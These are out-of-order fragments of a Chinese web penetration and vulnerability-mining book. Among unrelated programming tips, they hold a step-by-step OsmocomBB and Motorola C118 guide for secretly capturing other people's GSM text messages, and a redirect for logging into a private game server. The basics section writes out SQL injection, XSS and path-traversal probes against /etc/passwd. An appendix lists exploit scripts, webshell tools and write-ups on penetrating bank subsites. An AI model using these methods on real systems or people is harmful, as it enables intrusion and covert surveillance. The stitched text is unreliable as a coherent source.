173.248.166.93:8080Æ173.248.166.94:8081 A B y 169 y Web 渗透与漏洞挖掘 现在假设 B 是游戏私服，A 是游戏公服，如何在本机登录私服呢？ 需先建立一个 网卡设置 IP 为 A，游戏程序会连接 A，使用 TidmappedportTcp 控件转发 IP 地址包到 B，这样就可以实现登录游戏私服了。 首先建立一块网卡，使用 devcon.exe（XP/Windows 7/Windows 8，32 位是 devcon_ x86.exe，XP/Windows 7/Windows 8，64 位是 devcon_x64.exe，若没有这个文件可以从 网址 http://www.isafe.cc/下载），下载链接网址： z http://www.isafe.cc/gameproxy/msloop/devcon_x86.exe z http://www.isafe.cc/gameproxy/msloop/devcon_x64.exe 代码如下： devcon_x86.exe -r install c:\\windows\\inf\\netloop.inf *MSLOOP Device node created. Install is complete when drivers are installed... Updating drivers for *MSLOOP from c:\\windows\\inf\\netloop.inf. Drivers installed successfully. 网卡建立后，使用命令查看： devcon_x86.exe find * 然后添加 IP 地址到建好的网卡上，使用命令： netsh.exe interface ip set address name=\"本地连接 2\" source=static addr=173.248.166.93 mask=255.255.255.0 gateway=192.168.1.1 gwmetric=0 netsh.exe interface ip add address name=\"本地连接 4\" addr=173.248.166.75 mask=255.255.255.0 最后使用代码进行编程，代码片段如下： TransferPort:integer; end; function GameNetCardName:string;stdcall;external 'GameProxyInterface.dll'; function GameGateway:string;stdcall;external 'GameProxyInterface.dll'; function IsWin64: Boolean; var Form1: TForm1; PortMap1:array[0..34] of TPortMap; PortMapPlay:TPortMap; strGateway:string; adapterName1:string; y 170 y 第 5 章 编程技术 idMappedPortTcp2: array [0..34] of TIdMappedPortTCP; IdMappedPortTcpPlay:TIdMappedPortTCP; WinDrive:string; implementation {$R *.DFM} procedure TForm1.FillPortMapPlay; begin PortMapPlay.OrigIP:='173.248.166.73'; PortMapPlay.OrigPort:=22; 最终使用编译器进行编译，编译成功的程序如图 5-21 所示。"},
    {"text": "y 171 y Web 渗透与漏洞挖掘 5.6 如何调试 PHP 源代码 我们都用过 Visual Basic、VC++里面的调试功能，可以单步执行查看变量的值和 函数调用，但是 PHP 怎样单步执行呢？"},
    {"text": "需要用到工具 Zend Studio，这是 PHP 的集成开发工具，利用它可以单步调试 PHP 源码，有介绍说需要用到 Xdebug 扩展，笔者经过分析研究认为使用 Xdebug 扩展需要 修改 php.ini 文件，并添加如下代码： [XDebug] ;调试功能模块儿 ;extension=php_xdebug-2.2.5-5.3-vc9.dll zend_extension =\"C:\\\\xampp3\\\\php\\\\ext\\\\php_xdebug-2.3.3-5.4-vc9.dll\" xdebug.remote_handler=dbgp ;开启远程调试 xdebug.remote_enable = On ;远程主机 xdebug.remote_host=localhost ;主机端口 xdebug.remote_port=9000 ;开启自动跟踪 xdebug.auto_trace = On ;开启异常跟踪 xdebug.show_exception_trace = On ;开启远程调试自动启动 xdebug.remote_autostart = On ;收集变量 xdebug.collect_vars = On ;收集返回值 xdebug.collect_return = On ;收集参数 xdebug.collect_params = On ;临时跟踪信息输出 ;xdebug.trace_output_dir=\"d:/PHP/php-5.3.28/temp\" ;显示局部变量 xdebug.show_local_vars = On xdebug.profiler_enable = On y 172 y 第 5 章 编程技术 ;xdebug.profiler_output_dir =\"d:/PHP/php-5.3.28/temp\" xdebug.trace_enable_trigger =On php_xdebug-2.3.3-5.4-vc9.dll 文件根据 PHP 版本的不同，而有所不同，打开网址 http://xdebug.org/download.php，如图 5-23 所示。 图 5-23 不同的 PHP 版本对应不同的 DLL 文件，如果你不知道怎样选择.dll，可以打开网 址 http://xdebug.org/wizard.php，在内容框里输入 phpinfo();函数的输出。 操作步骤是打 开 http://localhost/phpinfo.php 后，单击浏览器的右键，再单击“查看源代码”，这时 把显示的内容复制并黏贴到 http://xdebug.org/wizard.php 显示的内容框中。 因 xdebug 会自动判断所需要的 DLL 文件。"},
    {"text": "图 5-24 y 173 y Web 渗透与漏洞挖掘 图 5-25 还需要把 php_xdebug-2.3.3-5.4-vc9.dll 文件复制到 c:\\\\xampp3\\\\php\\\\ext 目录下，将 php.ini 修改后，打开网址 http://localhost/xampp/phpinfo.php，可以看到已经成功加载 了 Xdebug，如图 5-26 所示。 图 5-26 这时在 Zend Studio 中选择项目的属性，设置 PHP Debugger 为 X Debug 就可以了， 如图 5-27 所示。"},
    {"text": "运行 Zend Studio，新建工程，在配 置 Settings 中的 Location 必须为 PHP 可以解析的目录，也就是说，在网址处输入 http://localhost/index.php，我们在浏览器中可以看到 index.php 的执行内容，而此时在 服务器后台对应的物理路径（如 c:\\xampp3\\htdocs\\xampp\\test）填入 settings→location 就可以了。 笔者的操作环境是 c:\\xampp3\\htdocs\\xampp\\，我们建立一个工程 test，物理 路径对应到 c:\\xampp3\\htdocs\\xampp\\test，新建立一个文件 isafe.cc.php，内容如下。 <?php for($i=1;$i<10;$i++) { print $i; } ?> 新建工程，如图 5-28 和图 5-29 所示。"},
    {"text": "图 5-28 图 5-29 y 175 y Web 渗透与漏洞挖掘 单步执行，如图 5-30 和图 5-31 所示。 图 5-30 图 5-31 好极了，至此我们看到了 PHP 源代码在单步执行。"},
    {"text": "y 176 y 第 5 章 编程技术 5.7 indy 组件 idhttp 500 错误时获取网页内容 许多读者在网上使用 delphi 中的 idhttp 组件时，正常的 HTTP 请求都能返回数据， 但是如果服务器出现内部错误，就会出现下面的消息框，如图 5-32 所示。 图 5-32 那么如何修改 indy 中 idhttp.pas 源码，使在出现错误时不报错，并且在使用 GET、 POST 方法时能够获取网页原始代码呢？"},
    {"text": "图 5-33 直接运行时会出现 idhttp 500 错误。 查看程序源码是什么导致了 500 错误，打开 C:\\Program Files\\CodeGear\\RAD Studio\\6.0\\source\\Indy\\Indy10\\Protocols\\idhttp.pas，定位 到处理 HTTP 响应的函数，如图 5-34 所示。"},
    {"text": "图 5-35 第 3 行 Response.ContentStream:=LTempResponse 代码是把一个空内存流对象 赋值给了 HTTP 响应对象，导致 ContentStream 的内容为空，再看一下已经被注释的 部分： //raise EIdHTTPProtocolException.CreateError(AResponseCode, FHTTP.ResponseText, //ReadStringFromStream(LTempResponse, -1, ContentTypeStrToEncoding(FHTTP.Response.FContentType))); 这段代码触发了一个异常，这就是为什么出现 HTTP/1.1 internal server error 消息 框的原因，需要把第 3 行注释删除，再把 raise EIdHTTPProtocolException 这一行注释删 除，然后使用 bcc32.exe 对 idhttp.pas 进行编译，生成 idhttp.dcu 文件，执行如下命令： dcc32 -Q idhttp.pas -M -Y -Z -$D- 这时会发现编译不通过，主要是还需要其他几个 dcu 文件和 inc 文件，把 idhttp.pas 复制到 C:\\Program Files\\CodeGear\\RAD Studio\\6.0\\lib\\Indy10 目录下，把 IdCompilerDefines. inc 文件也复制到 C:\\Program Files\\CodeGear\\RAD Studio\\6.0\\lib\\Indy10 目录下，再次 编译时通过，如图 5-36 所示。"},
    {"text": "y 179 y 6 第 6 章 无线技术 在一次安全大会上，听一位演讲嘉宾说通过某种技术可以嗅探到别人的手机短 信，觉得挺有意思，于是就开始自己研究。"},
    {"text": "OsmocomBB 是一个开源项目，使用该软件需加上一部摩托罗拉 C118（以下简 称 C118）手机，就能够查看其他人的手机短信，并且其他人还不会发现你在嗅探其 短信。"},
    {"text": "一方面是因为 GSM 的短信功能是明文传输，另 一方面是因为 C118 手机设计有特殊的功能，模拟图如图 6-1 所示。 当图中 Phone 1 进入基站群中时，会自动选择一个信号较强的基站进行链接，在 稳定的网络信号下，就可以正常收发短信。 第 6 章 无线技术 基站 1 基站 2 Phone1 基站 3 Phone2 图 6-1 当 Phone 2 按照通信协议将 Phone 1 至基站之间的无线数据捕获时，就获取了 Phone1 的手机短信内容，如果你所在的区域有 8 个基站，使用 8 台 C118 手机就能将 你身边的所有手机短信捕获，但捕获语音存在跳频问题且语音数据有 A5 加密，所以 在这里不讨论。 如何实现短信捕获，需准备硬件如下： （1）C118 手机一部 （2）RT232 模块一个 （3）杜邦线一条 硬件的实物图片，如图 6-2 所示。"},
    {"text": "1．更新系统 # apt-get update # apt-get upgrade 2．接着安装一系列文件 # apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd # apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev libpcsclite-dev y 182 y 第 6 章 无线技术 3．创建几个目录，下载 ARM 编译器 在 opt 目录下建立 osmocombb 目录： # mkdir osmocombb # cd osmocombb # mkdir build install src # wget http://bb.osmocom.org/trac/raw-attachment/wiki/GnuArmToolchain/gnuarm-build.3.sh # cd src # wget http://ftp.gnu.org/gnu/gcc/gcc-4.8.2/gcc-4.8.2.tar.bz2 # wget http://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2 $ wget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz 4．安装 gnu-arm-build.3.sh 具体代码如下，代码截图如图 6-3 所示。 # cd .. # chmod +x gnu-arm-build.3.sh # ./gnu-arm-build.3.sh 图 6-3 等待几分钟，编译完毕，如图 6-4 所示。 y 183 y Web 渗透与漏洞挖掘 图 6-4 5．安装完成后添加环境 # cd install/bin # pwd（查看路径） # vi ~/.bashrc export PATH=$PATH:/opt/osmocombb/install/bin （最后一行加入，保存退出） # source ~/.bashrc 6．下载并编译 osmocomBB 回到 osmocombb 目录下载 osmocom： # git clone git://git.osmocom.org/libosmocore.git # git clone git://git.osmocom.org/osmocom-bb.git 在安装 libosmocore 执行./configure 的时候很多读者会遇到 No package 'talloc' found 这种错误，因为找不到 talloc，解决办法如下： # wget https://www.samba.org/ftp/talloc/talloc-2.1.7.tar.gz # tar -zxvf talloc-2.1.7.tar.gz # cd talloc-2.1.7/ # ./configure# make # make install y 184 y 第 6 章 无线技术 安装 libosmocore # cd libosmocore/ # autoreconf -i # ./configure # make # make install # cd .. 编译 osmocombb # cd osmocom-bb # git checkout --track origin/luca/gsmmap # cd src # make 7．修改问题文件（如果是 gnu-arm-build.2.sh 并且没有出现 cell 扫描停止的问 题，请跳过这一步）进入 osmocom-bb 找到以下文件并修改 vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal/highram.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal/ram.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal_e88/flash.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal_e88/loader.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/mediatek/ram.lds 找到在代码中下面这行代码： KEEP(*(SORT(.ctors))) 并在这行代码下面加入： KEEP(*(SORT(.init_array))) 加入代码后保存即可，待全部修改好后，再进入 osmocom-bb/src 重新编译： # make -e CROSS_TOOL_PREFIX=arm-none-eabi- 最后，将手机 C118 充满电，打开 Vmware 虚拟机，执行命令： # cd /opt/osmocombb/src/host/osmocon # ./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin 单击确认键后，轻按手机开机键（红色的那个键），进入刷固件的程序，如图 6-5 和图 6-6 所示。"},
    {"text": "图中 PWR 值越大，表示信号越强，就以 ARFCN=39 的基站为例，开始嗅探，执 行命令 #./ccch_scan -i 127.0.0.1 -a 39，如图 6-8 所示。"},
    {"text": "y 186 y 第 6 章 无线技术 图 6-7 图 6-8 现在打开 wireshark，执行命令 #./wireshark -k -i lo -f 'port 4729'，可以看到有 GSMTAP 的数据包，如图 6-9 所示。"},
    {"text": "y 187 y Web 渗透与漏洞挖掘 图 6-9 图 6-10 在整个过程中，若 OsmBB 编译出错是一个很难解决的问题，第 1 个错误如下： /opt/osmocombb/osmocom-bb/src/target/firmware/include/asm/swab.h: Assembler messages: y 188 y 第 6 章 无线技术 /opt/osmocombb/osmocom-bb/src/target/firmware/include/asm/swab.h:32: Error: no such instruction: èor %edx,%edi,%edi,ror' make[4]: *** [gsmtap_util.lo] 错误 1 make[4]:正在离开目录 `/opt/osmocombb/osmocom-bb/src/shared/libosmocore/build-target/src' make[3]: *** [all-recursive] 错误 1 make[3]:正在离开目录 `/opt/osmocombb/osmocom-bb/src/shared/libosmocore/build-target/src' make[2]: *** [all-recursive] 错误 1 make[2]:正在离开目录 `/opt/osmocombb/osmocom-bb/src/shared/libosmocore/build-target' make[1]: *** [all] 错误 2 make[1]:正在离开目录 `/opt/osmocombb/osmocom-bb/src/shared/libosmocore/build-target' make: *** [shared/libosmocore/build-target/src/.libs/libosmocore.a] 错误 2 下载 x86 平台的 gcc，将 gnuarm 的路径加入~/.bashrc 文件中： export PATH=$PATH:/root/gunarm/bin 若测试时还一直报错，最终原因是没有更新，使用 source ~/.bashrc 命令更新后， 编译 osmocombb 成功。"},
    {"text": "图 6-11 修改文件如下： vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal/highram.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal/ram.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal_e88/flash.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/compal_e88/loader.lds vi /opt/osmocom/osmocom-bb/src/target/firmware/board/mediatek/ram.lds y 189 y Web 渗透与漏洞挖掘 找到里面的这一行代码： KEEP(*(SORT(.ctors))) 在这行代码下面加入： KEEP(*(SORT(.init_array))) 结果如图 6-12 所示。 图 6-12 加入代码后保存即可，全部修改好以后，再进入 osmocom-bb/src。"},
    {"text": "图 6-15 y 191 y 7 第 7 章 常用工具 7.1 Web 渗透相关工具 1．WebSmart 一款由笔者“赵显阳”独立开发的 Web 应用安全测试工具，能够扫描和检测所 有常见的 Web 应用安全漏洞，例如 SQL 注入（SQL-injection）、跨站点脚本攻击 （cross-site scripting）、敏感目录、敏感文件等，程序采用模块化程序设计，便于扩 展功能。"},
    {"text": "2．IBM Rational Appscan 一款领先的 Web 应用安全测试工具，曾以 Watchfire AppScan 的名称享誉业界。 Rational AppScan 可进行自动化 Web 应用安全漏洞评估工作，扫描和检测所有常见的 Web 应用安全漏洞，例如 SQL 注入（SQL-injection）、跨站点脚本攻击（cross-site scripting）、缓冲区溢出（buffer overflow）、最新的 Flash/Flex 应用，以及 Web 2.0 应 用暴露等方面。"},
    {"text": "4．安恒 MatriXay Webscan 明鉴 Web 应用弱点扫描器（简称：MatriXay 5.0），是安恒安全专家团队在深入 分析研究 B/S 架构应用系统中典型安全漏洞和流行攻击技术基础上研制而成，不仅具 有精确的“取证式”扫描功能，还提供了强大的安全审计、渗透测试功能，误报率和 漏报率等各项关键指标均达到国际领先水平。 5．Immunity CANVAS CANVAS 是美国 ImmunitySec 公司出品的安全漏洞检测工具，包含了 480 多个 以上的漏洞利用，是一款针对对象广泛的自动化漏洞利用工具，对于渗透测试人员 来说，CANVAS 是比较专业的安全漏洞利用框架，也常被用于对 IDS 和 IPS 的检测 能力的测试。"},
    {"text": "6．SQLMap 是一个自动化的 SQL 注入工具，其主要功能是扫描，发现并利用给定的 URL 的 SQL 注入漏洞，目前支持的数据库是 MS-SQL、MySQL、Oracle 和 PostgreSQL。"},
    {"text": "9．Fiddler Fiddler 是一个 http 协议调试代理工具，它能够记录并检查你的计算机和互联网之 y 193 y Web 渗透与漏洞挖掘 间的所有 http 通信，设置断点，查看所有的“进出”Fiddler 的数据（指 Cookie、html 等文件，都可以修改的意思）。"},
    {"text": "10．Burp Suite Burp Suite 是用于攻击 Web 应用程序的集成平台，它包含了许多工具，并为这些 工具设计了许多接口，以促进加快攻击应用程序的过程。"},
    {"text": "7.2 主机渗透相关工具 1．Nessus Nessus 是目前全世界使用人数最多的系统漏洞扫描与分析软件，且有超过 75,000 个机构使用 Nessus 作为扫描该机构电脑系统的软件。"},
    {"text": "2．X-Scan X-Scan 扫描器采用多线程方式对指定 IP 地址段（或单机）进行安全漏洞检测， 支持插件功能，提供了图形界面和命令行两种操作方式。 扫描内容包括远程操作系统 类型及版本、标准端口状态及端口 BANNER 信息、CGI 漏洞、IIS 漏洞、RPC 漏洞、 SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER 弱口 令用户、NT 服务器 NETBIOS 信息等。"},
    {"text": "3．Metasploit Metasploit 是一款开源的安全漏洞检测工具，可以帮助 IT 专业人士识别安全性问 题，验证漏洞的缓解措施，并对管理专家驱动的安全性进行评估，提供真正的安全风 险情报。"},
    {"text": "code.zip 文件的结构如下： ├─bash 漏洞探究分析 │ 01016_apache_mod_cgi_bash_command_exec3.py │ test.cgi │ 『河马』apache mod_cgi bash 命令注入漏洞利用工具 v2.0(解压密码 isafe.cc).rar │ ├─Dedecms v5.7 SP1 可隐藏后门漏洞研究 │ 河马 php 一句话木马服务端和客户端 v1.2(解压密码 isafe.cc).rar │ ├─FineCMS 1.9.3 前台多处 SQL 注入(0day) │ finecms_1_9_3_sql_inject.py │ ├─fineCMS 任意文件上传漏洞(0day) │ fineCMS_1.9.3_file_upload.py │ ├─Oracle 数据库渗透技术浅析 │ 『河马』Oracle 数据库审计工具 v1.0(解压密码 isafe.cc).rar │ 附录 A ├─piwik2.3.0_任意代码执行漏洞_可 getwebshell │ isafeAPI.zip │ 河马 php 一句话木马服务端和客户端 v1.1(密码 123).rar │ ├─SeaCms 影视系统变量覆盖漏洞 │ seacms_6_26_var_override_vul.py │ ├─shop7z 任意文件上传漏洞挖掘(0day) │ shop7z_saveupload2_asp_file_upload.py │ ├─Vwins 2.0 SQL 注入漏洞，可读取任意文件 │ vwins_2_0_member_reg_sqli.py │ ├─vwins 2.0 upfile 文件上传漏洞 │ vwins_2_0_upfile_file_upload.py │ ├─再次渗透民生银行某分站(民生电商) │ nc_uapws_xml_entity_injection.py │ ├─利用”河马 cookie 修改器”击破 91736cms │ 河马 Cookie 修改器 v1.1.rar │ ├─突破 WAF 渗透民生银行信用卡中心 │ dorado_xml_entity_injection.py │ ├─让 IE 8 上网无限制 │ 『河马』_ie8_netlimit.rar │ └─分析正宗冒险岛登录器开发基于网关的游戏登录器 压缩包文件名是：【河马】冒险岛登录器 v1.0[源代码].rar。"},
    {"text": "Cover Microsoft Word - a扉页.doc Document Outline 封面 书名页 版权页 推荐序 前言 目录页 第1章 安全知识 1.1 什么是漏洞 1.2 Web漏洞的分类 1.3 漏洞挖掘常用的方法 第2章 漏洞研究 2.1 Apache文件名解析漏洞 2.2 Bash漏洞攻击新发现 2.3 DedeCMS v5.7 SP1完美隐藏后门技巧 2.4 DedeCMS v5.7 SP1远程文件包含漏洞玄机 2.5 DedeCMS v5.7 download.php SQL注入分析 2.6 DedeCMS soft_edit.php远程代码执行漏洞利用技巧 2.7 Struts 2 2010 S2-005远程代码执行漏洞分析 2.8 Struts 2 2014 S2-020 RCE漏洞分析 2.9 多漏洞结合实现一步SQL注入 第3章 漏洞挖掘 3.1 FineCMS任意文件上传原理分析（0day） 3.2 网神防火墙安全审计系统（secfox）任意文件读取，root权限（0day） 3.3 DedeCMS小于v5.7 SP1版本任意代码执行新方法（0day） 3.4 FineCMS 1.9.3前台多处SQL注入 3.5 探索风行电影系统（0day） 3.6 Piwik 2.3.0任意代码执行漏洞可获取webshell 3.7 Vwins 2.0 upfile文件上传漏洞挖掘 3.8 FineCMS 1.9.5本地文件包含漏洞 3.9 Vwins 2.0 SQL注入漏洞，任意文件读取新思路 3.10 shop7z任意文件上传漏洞挖掘实例（0day） 3.11 SeaCms影视系统变量覆盖思想 3.12 MoMoCMS 5.4多漏洞合集剖析 3.13 blueCMS 1.6任意文件删除可导致重装blueCMS 第4章 Web渗透 4.1 某网络Struts 2远程代码执行漏洞可渗透内网 4.2 一次转走1亿元的技术漏洞 4.3 利用“河马Cookie修改器”击破91736CMS 第5章 编程技术 5.1 使用SendMessage API函数实现Radmin远控自动登录 5.2 安装系统钩子实现文件防删（Hook Tech） 5.3 Oracle数据库渗透技术解析 5.4 让IE8上网无限制 5.5 分析正宗冒险岛登录器开发基于网关的游戏登录器 5.6 如何调试PHP源代码 5.7 indy组件idhttp 500错误时获取网页内容 第6章 无线技术 第7章 常用工具 7.1 Web渗透相关工具 7.2 主机渗透相关工具 7.3 抓包工具 附录A"},
    {"text": "第一部分为漏洞基础知识，包括第 1 章和第 2 章。 第 1 章详细介绍漏洞 的基本概念、漏洞分类和挖掘方法； 第 2 章对多个具体的漏洞进行分析，进一步阐明漏洞基础 知识，是对第 1 章内容的巩固和深化。 第 3 章是本书的第二部分，通过多个系统的漏洞实例， 介绍漏洞挖掘的方法和步骤，使读者能够对漏洞挖掘的方法和过程有清晰的了解。 本章是本书 的核心内容，是对前述方法的具体应用，需要读者具有一定的开发语言和安全攻防知识基础。 第 4~7 章为本书的第三部分，介绍漏洞利用的一些相关内容，涵盖的范围跨度比较大，包括基 于漏洞进行的渗透测试、相关安全开发编程、无线及渗透过程中的常用工具介绍。"},
    {"text": "图书在版编目（CIP）数据 Web 渗透与漏洞挖掘／赵显阳著. —北京：电子工业出版社，2017.9 ISBN 978-7-121-32532-8 Ⅰ. ①W… Ⅱ. ①赵… Ⅲ. ①计算机网络－网络安全－研究 Ⅳ. ①TP393.08 中国版本图书馆 CIP 数据核字（2017）第 202716 号 责任编辑：黄爱萍 印 刷：三河市双峰印刷装订有限公司 装 订：三河市双峰印刷装订有限公司 出版发行：电子工业出版社 北京市海淀区万寿路 173 信箱 邮编：100036 开 本：720×1000 1/16 印张：13 字数：187 千字 版 次：2017 年 9 月第 1 版 印 次：2017 年 9 月第 1 次印刷 定 价：59.00 元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。"},
    {"text": "参加过中国科学院、北京机场、奥运会等众多项目的安全渗透测试服务，不 仅具有丰富的 Web 渗透和漏洞挖掘经验，还精通 Delphi 等编程技术，是一位不可多 得的全方位安全专家。"},
    {"text": "信息安全技术发展到今天， 漏洞研究、渗透测试和安全工具的编写已经成为一个信息安全高手必须具备的基本条 件，本书作者正是从这些方面入手，将自己多年宝贵的安全实践经验融汇成珍贵的信 息安全结晶，为大家提供踏上安全专家之路的捷径。"},
    {"text": "本书关于漏洞挖掘的章节主要讲述 PHP 产品代码漏洞，其中很多技巧和思路都非 常具有代表性。 现今绝大部分网站都由 PHP 驱动，因此研究 PHP 漏洞对整个互联网 Web 安全具有较大的覆盖范围，而且也可以举一反三应用到 ASP、ASPX 和 JSP 领域。"},
    {"text": "石祖文 安全伞科技创始人 国家漏洞库特聘专家 2017 年 7 月 7 日 前 言 随着国内互联网行业的快速发展，针对互联网行业的 Web 攻击行为大量增加， 根据“乌云”发布的漏洞统计数据来看，近年与 Web 相关的漏洞的数量保持在两位 数的增长速度。"},
    {"text": "第 2 章针对近几年爆发的一些典型漏洞进行详细分析，阐述漏洞产生和利用的细 节情况； 第 3 章通过一些未公布的漏洞实例梳理漏洞挖掘的思路和过程，这要求读者 熟练掌握安全基础知识； 第 4 章介绍如何基于漏洞实现渗透的过程，而在渗透过程中 所需要的编程技术和相关工具则在第 5~7 章进行详细介绍。"},
    {"text": "与现有的其 他资料相比，本书对已公布的漏洞或基础知识涉及较少，注重对未知漏洞的挖掘和利用， 将笔墨主要集中在使读者如何通过已经掌握的安全基础知识去发现漏洞，从而提升相关 能力水平。"},
    {"text": "希望读者通过学习书中描述的思路和 Web 渗透与漏洞挖掘 方法能够提升漏洞分析和挖掘的能力，但也提醒各位，请不要利用书中讲述的技术攻击 他人。"},
    {"text": "y 提交勘误：您对书中内容的修改意见可在 提交勘误 处提交，若被采纳，将获 赠博文视点社区积分（在您购买电子书时，积分可用来抵扣相应金额）。"},
    {"text": "漏洞可能来自应用软件或操作系统设计时的缺陷或编 码时产生的错误，也可能来自业务在交互处理过程中的设计缺陷或逻辑流程上的不合 理之处。"},
    {"text": "这些缺陷、错误或不合理之处可能被有意、无意地利用，从而对一个组织的 资产或运行造成不利影响，如信息系统被攻击或控制、重要资料被窃取、用户数据被 篡改、系统被作为入侵其他主机系统的跳板等。"},
    {"text": "Web 渗透与漏洞挖掘 1.2 Web 漏洞的分类 1．SQL 注入 SQL 注入就是通过把 SQL 命令插入到 Web 表单，递交或输入域名或页面请求的 查询字符串，最终达到欺骗服务器执行恶意的 SQL 命令的目的。"},
    {"text": "2．XSS（跨站脚本攻击） 跨站脚本攻击（Cross Site Scripting，缩写为 XSS），为了不与层叠样式表（Cascading Style Sheets）的缩写 CSS 混淆，故将跨站脚本攻击缩写为 XSS。 XSS 是一种经常出 现在 Web 应用中的计算机安全漏洞，其允许恶意 Web 用户将代码植入到提供给其他 用户使用的页面中，这些代码包括 HTML 代码和客户端脚本。"},
    {"text": "比如把一系 y 2 y 第 1 章 安全知识 列功能函数都写进 fuction.php 中，之后当某个文件需要调用时就直接在文件头中写上 一句<?php include(\"fuction.php\");?>，然后调用内部定义的函数。"},
    {"text": "由于程序员未对用户可控的变量进 行输入检查，导致用户可以控制被包含的文件名，当被成功利用时可以使 Web Server 将特定文件当成 PHP 脚本执行，从而导致用户获取一定的服务器权限。 7．远程文件包含 服务器通过 PHP 的特性（函数）去包含任意文件时，由于要包含的文件来源过滤 不严，可以包含一个恶意文件，而我们可以构造这个恶意文件达到渗透系统的目的。"},
    {"text": "8．全局变量覆盖 register_globals 是 PHP 中的一个控制选项，可以设置成 Off 或者 On，默认为 Off， 决定是否将 EGPCS（EGPCS 是 Environment、GET、POST、Cookie、Server 的缩写） 变量注册为全局变量。 如果打开 register_globals，客户端提交的数据中含有 GLOBALS 变量名，就会覆 盖服务器上的$GLOBALS 变量。"},
    {"text": "9．代码执行 由于开发人员编写源码时没有针对代码中可执行的特殊函数入口做过滤，导致客 户端可以提交恶意构造语句，并交由服务器端执行。 Web 服务器没有过滤类似 system()、eval()、exec()等函数是该漏洞攻击成功的最主要原因。 10．信息泄露 由于代码编写不严谨或应用固有的功能，造成网站服务器信息被非法获取，但这 只是一个低危漏洞。"},
    {"text": "13．缓冲区溢出 缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广 泛存在。 利用缓冲区溢出攻击会导致程序运行失败、系统宕机、重新启动等后果。"},
    {"text": "当你再次来到该 网站时，网站通过读取 Cookies 得知你的相关信息，就可以做出相应的动作，如在页 面显示欢迎你的标语，或者让你不用输入 ID、密码就可以直接登录等。"},
    {"text": "15．反序列化 如果服务端程序没有对用户可控的序列化代码进行校验，而是直接进行反序列化 使用，并且在程序中运行一些比较危险的逻辑（如登录验证等），那么就会触发一些 意想不到的漏洞。 比如经典的有 Weblogic 反序列化和 Joomla 反序列化漏洞。"},
    {"text": "浏览器的安全策略是允许当前页面发送到任何地址，因此也就意味着当用户在浏览 其无法控制的资源时，攻击者可以控制页面的内容来控制浏览器，发送其精心构造 的请求。"},
    {"text": "如 http://www.isafe.cc/list.asp?id=1 后加单引号，即 http://www.isafe.cc/list.asp?id=1’，这时服 务器会把 1’代入数据库查询，然后页面报错，而对于不同的数据库错误信息也不一样。"},
    {"text": "对于不报错的页面，可以使用 and 1=1 和 and 1=2，并根据页面返回内容判断是否 有注入。 如果 and 1=1 和 and 1=2 返回的页面内容不同，则可以断定存在注入。 比如， 第一次提交的 URL http://www.isafe.cc/list.asp?id=1 and 1=1 页面有返回内容，而第二 次提交的 URL http://www.isafe.cc/list.asp?id=1 and 1=2 页面没有完整的内容，则可以 断定存在 SQL 注入。 对于有些特定的 Web 页面后端查询，比如 Update、Delete、Insert 等，可以使用 Sleep 等 函 数 （ 数 据 库 不 同 则 函 数 不 同 ） 进 行 SQL 注 入 ， 比 如 提 交 URL http://www.isafe.cc/list.asp?id=1 and sleep(5)，如果页面等待几秒钟才返回，则可以断 定存在 SQL 注入。 SQL 注入一般有基于报错的注入、基于布尔值的注入和基于时间的注入。 2．XSS（跨站漏洞） 跨站漏洞一般出现在 Web 浏览器端，分为反射型、存储型等，跨站可用来盗取 其他用户的 Cookie，虽然没有 SQL 注入危害大，但也被业界评为高危漏洞，一般在 URL 后加入<script>alert(“www.isafe.cc”);</script>，如果页面有弹框，则表示存在跨站 漏洞。 3．文件上传 文件上传漏洞一般视情况而定，有些是中间件的漏洞如 apache、nginx、iis 等。"},
    {"text": "对于 apache 上传 1.php.bak 这样的文件是可以作为 PHP 文件执行的（某些版本），对 于 nginx 上传 1.jpg 文件，访问 http://www.isafe.cc/upload/1.jpg/1.php 就可以执行 PHP 代码。 对于 iis 6.0 上传 1.asp、1.jpg 这样的文件可以被作为 ASP 来执行，建立 1.asp 文件夹，在 1.asp 文件下的任意后缀文件都可以作为 ASP 来执行。"},
    {"text": "有些是代码过滤不 严谨造成的任意文件上传，有些代码对文件上传根本不过滤，对应过滤的文件也可以 y 5 y Web 渗透与漏洞挖掘 通过各种方法绕过上传。"},
    {"text": "4．文件下载 下载系统上的任意文件，如数据库配置文件、密码文件 Shadow 等，Web 层面会 提供下载附件或软件的功能，一般形式如 http://www.isafe.cc/download.php?filename= /files/document.doc，Web 后端会根据 filename 参数在指定的目录中读取文件的内容返 回给浏览器，如果修改 filename 为 http://www.isafe.cc/download.php?filename= ../../../.. /../../../etc/passwd 这样的形式，则可以跨越指定的目录访问系统的任意文件。"},
    {"text": "5．代码执行 远程代码执行多见于 PHP、Java 等脚本语言中，PHP 中的 Eval、System、Assert、 Popen 等函数如果对外界传入的参数直接使用，则会造成远程代码执行，我们在找漏 洞的时候只要定位到相关函数，观察相关函数的参数来源即可。"},
    {"text": "Apache 和 PHP 通过接口接入后，Apache 接收用户的请求， Windows XP 上的 IE 并把请求传送给 php.exe，php.exe 程序执行完成后，把结果发送 给用户，如图 2-1 所示。"},
